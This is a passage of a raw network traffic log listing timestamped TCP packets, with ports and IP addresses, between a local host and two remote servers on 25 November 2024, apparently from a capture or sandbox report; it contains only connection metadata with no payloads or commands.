Nov 25, 2024 18:28:35.414366007 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.414382935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.414433002 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.415532112 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.415688038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.415874004 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.416397095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.416517019 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.416572094 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.416573048 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.416584969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.416650057 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.417299986 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.417442083 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.417517900 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.418127060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.418139935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.418206930 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.418797016 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.418967962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.419044971 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.419429064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.419444084 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.419516087 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.420321941 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.420519114 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.420592070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.420960903 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.421128988 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.421817064 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.421873093 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.421998978 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.422416925 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.422543049 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.422561884 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.423387051 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.423434019 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.423562050 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.423834085 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.424087048 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.424252033 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.424325943 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.425055981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.425121069 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.425163031 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.425652981 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.425786018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.425839901 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.426665068 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.426829100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.426973104 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.427234888 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.427427053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.427622080 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.427961111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.428107023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.428292036 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.428684950 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.428839922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.429002047 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.429429054 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.429598093 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.429651022 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.430180073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.430191994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.430306911 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.430876017 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.431124926 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.431200981 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.431587934 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.482605934 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.497325897 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.497931004 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.513586044 CET	443	49758	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:35.513715982 CET	49758	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:35.519566059 CET	49758	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:35.519586086 CET	443	49758	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:35.520025969 CET	443	49758	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:35.522191048 CET	49758	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:35.522313118 CET	49758	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:35.522320986 CET	443	49758	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:35.522399902 CET	49758	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:35.563334942 CET	443	49758	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:35.593744993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.594022036 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.594150066 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.594175100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.594217062 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.594382048 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.594885111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.595040083 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.595139027 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.595621109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.595846891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.595902920 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.596368074 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.596607924 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.596802950 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.597234011 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.597438097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.597487926 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.598010063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.598093987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.598161936 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.598680973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.598751068 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.598855972 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.599565983 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.599579096 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.599711895 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.600265026 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.600276947 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.600337982 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.601095915 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.601110935 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.601166964 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.601768017 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.602082014 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.602255106 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.602468967 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.602768898 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.602857113 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.603368044 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.603379965 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.603434086 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.604224920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.604237080 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.604378939 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.604928970 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.604942083 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.605025053 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.605571032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.605583906 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.605622053 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.606813908 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.606904984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.606998920 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.610791922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.610979080 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.610990047 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.611001015 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.611054897 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.611057997 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.611057997 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.611067057 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.611085892 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.611098051 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.611109972 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.611129045 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.611257076 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.611274004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.611339092 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.611350060 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.611414909 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.619395971 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619645119 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619656086 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619667053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619678020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619693995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619719982 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.619745016 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.619765043 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619776964 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619807005 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.619833946 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619846106 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619857073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619879007 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.619973898 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619985104 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.619996071 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.620009899 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.620019913 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.620026112 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.620055914 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.620059967 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.620069981 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.620073080 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.620083094 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.620095968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.620116949 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.620151997 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.620393038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.620412111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.620421886 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.620434999 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.620471001 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.620501041 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.621737003 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.621854067 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.621865034 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.621913910 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.621931076 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.624078035 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.624639034 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.624696016 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.624722004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.624735117 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.624743938 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.624747038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.624758005 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.624779940 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.624819994 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.633162022 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633333921 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633344889 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633405924 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.633493900 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633512020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633522987 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633534908 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633549929 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.633564949 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.633662939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633749008 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633759975 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633771896 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633799076 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.633882046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633914948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633925915 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633936882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633946896 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.633968115 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.633991003 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.637320995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.637403011 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.637413025 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.637425900 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.637450933 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.637469053 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.637528896 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.637542009 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.637586117 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.639238119 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.639322996 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.639362097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.639378071 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.685776949 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.795007944 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.795083046 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.795367956 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.795418978 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.795485973 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.796091080 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.796197891 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.796953917 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.797089100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.797154903 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.797657967 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.797672033 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.798418999 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.798484087 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.798506975 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.799124002 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.799184084 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.799268961 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.799906969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.799993992 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.800046921 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.800677061 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.800793886 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.801433086 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.801487923 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.801568031 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.802273989 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.802334070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.802469969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.803057909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.803133011 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.803162098 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.803774118 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.803786993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.803829908 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.803843021 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.804625034 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.804636955 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.805296898 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.805362940 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.805366993 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.805408001 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.806010962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.806149006 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.806212902 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.806756020 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.806837082 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.807590961 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.807602882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.807657003 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.808347940 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.808360100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.809082985 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.809165955 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.809264898 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.809874058 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.809921980 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.809927940 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.810626984 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.810724020 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.810826063 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.811355114 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.811418056 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.811475992 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.812238932 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.812249899 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.812258005 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.812288046 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.812882900 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.813095093 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.813148975 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.813652992 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.813724995 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.813782930 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.814390898 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.814479113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.814524889 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.815217972 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.815392017 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.815444946 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.816065073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.816076994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.816520929 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.816764116 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.816888094 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.817557096 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.817578077 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.817605972 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.817617893 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.818259954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.818372965 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.818428993 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.818989992 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.819195986 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.819755077 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.819832087 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.819864035 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.820126057 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:35.820481062 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:35.820703983 CET	80	49752	185.215.113.16	192.168.2.6
